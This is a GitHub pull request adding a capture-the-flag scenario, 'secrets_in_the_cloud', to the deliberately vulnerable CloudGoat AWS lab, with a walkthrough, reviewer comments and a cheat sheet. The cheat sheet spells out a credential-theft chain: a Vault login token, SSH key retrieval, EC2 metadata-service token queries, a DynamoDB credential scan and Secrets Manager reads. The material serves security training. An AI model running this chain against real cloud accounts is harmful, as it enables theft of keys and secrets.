Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Secrets in the cloud #189

Open
wants to merge 7 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -217,6 +217,14 @@ Starting with access the "ruse" EC2 the user leverages the instace profile to ba

[Visit Scenario Page.](scenarios/ecs_efs_attack/README.md)

### secrets_in_the_cloud (Large / Hard)

`$ ./cloudgoat.py create secrets_in_the_cloud`

As an IAM user with limited privileges, the attacker initiates their journey by examining AWS resources to uncover clues and hidden information. This investigation ultimately results in acquiring a role that grants access to the scenario's primary objective: retrieving the final secret from Secrets Manager.

[Visit Scenario Page.](scenarios/secrets_in_the_cloud/README.md)

## Usage Guide

The basic anatomy of a CloudGoat command is as follows:
Expand Down
46 changes: 46 additions & 0 deletions scenarios/secrets_in_the_cloud/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Scenario: secrets_in_the_cloud

**Size:** Large

**Difficulty:** Hard

**Command:** `$ ./cloudgoat.py create secrets_in_the_cloud`

## Resources

* 1 Lambda
* 1 EC2
* 1 S3
* 1 DynamoDB
* 1 Secrets Manager Secret
* 2 IAM Users

## Start

1. IAM User: low-priv-user

## Goal

Find the final secret in Secrets Manager.

## Summary

As an IAM user with limited privileges, the attacker initiates their journey by examining AWS resources to uncover clues and hidden information. This investigation ultimately results in acquiring a role that grants access to the scenario's primary objective: retrieving the final secret from Secrets Manager. Please note that this walkthrough outlines the intended path for completing the scenario. However, alternative approaches may exist, and we would be delighted to learn about any unique methods used to reach the finish line.

## Path

![Path](./path.png)

## Walkthrough

1. As the IAM user "low-priv-user", the attacker explores the AWS environment, discovering an S3 bucket containing the URL to a web application hosted on an EC2 instance.
2. The attacker enumerates the web application and uncovers an admin page that prompts for an API key.
3. While examining the admin page's HTML comments, the attacker finds information about environment variables and a HashiCorp endpoint.
4. By enumerating the scenario's Lambda function, the attacker locates the web application's API key and uses it to obtain the HashiCorp vault token.
5. The attacker exploits the vault token to log in to the HashiCorp endpoint and acquires the id_rsa key, which grants SSH access to the EC2 instance hosting the web application.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After starting the scenario and using the cheat sheet, I'm unable to identify the HashiCorp endpoint. Can you add the steps need to identify the HashiCorp endpoint?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

updated step 3 to clarify the port number and location of the endpoint.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you add the link to where the user will need to download the vault command to the cheat sheet? https://developer.hashicorp.com/vault/downloads

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Downloading this tool might be tricky for Docker-only users (aka me). I'll look into how to get around it and add the steps here.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I had to download and mount into the docker container this zip file (https://releases.hashicorp.com/vault/1.13.2/vault_1.13.2_linux_amd64.zip). I would add it as a note for docker-users.

6. Intrigued by the login message, the attacker queries the EC2 metadata service and discovers that IMDSv2 is in use.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you add the commands needed to perform these steps in the cheat sheet?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we decided to skip this one

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I made some changes to the README walk through and the cheat sheet so they're more descriptive.

7. The attacker queries the EC2 metadata service again, using a token in the header of the request to successfully obtain a response.
8. After enumerating the EC2 metadata service, the attacker decides to list available DynamoDB tables and discovers a table containing IAM user credentials specific to the scenario.
9. Utilizing the newly acquired IAM user credentials, the attacker retrieves the final secret from the Secrets Manager, successfully completing the scenario.

A cheat sheet for the scenario is available [here](./cheat_sheet.md).
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's with the ^M?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yea, that's super weird. Might be related to terminal or some random key press I did. It can be deleted.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this should be fixed now.

Expand Down
43 changes: 43 additions & 0 deletions scenarios/secrets_in_the_cloud/cheat_sheet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
```
export AWS_ACCESS_KEY_ID=[low-priv-user]
export AWS_SECRET_ACCESS_KEY=[low-priv-user]
```

`aws s3 ls`

`aws s3 ls s3://[bucket]`

`aws s3 cp s3://[bucket]/nates_web_app_url.txt .`

`cat nates_web_app_url.txt`

`aws lambda list-functions`

`export VAULT_ADDR='http://[ip]:8200'`

`vault login TorysTotallyTubular456`

`vault kv get secret/id_rsa`

`echo "[id_rsa]" >> id_rsa`

`chmod 400 id_rsa`

`ssh -i id_rsa ec2-user@[ip]`

`TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")`

`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info`

`aws dynamodb list-tables`

`aws dynamodb scan --table-name [table]`

```
export AWS_ACCESS_KEY_ID=[secrets-manager-user]
export AWS_SECRET_ACCESS_KEY=[secrets-manager-user]
```

`aws secretsmanager list-secrets`

`aws secretsmanager get-secret-value --secret-id [secret]`
Binary file added scenarios/secrets_in_the_cloud/path.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10 changes: 0 additions & 10 deletions scenarios/secrets_in_the_cloud/terraform/lambda_function.py

This file was deleted.

31 changes: 0 additions & 31 deletions scenarios/secrets_in_the_cloud/terraform/preload_data.py

This file was deleted.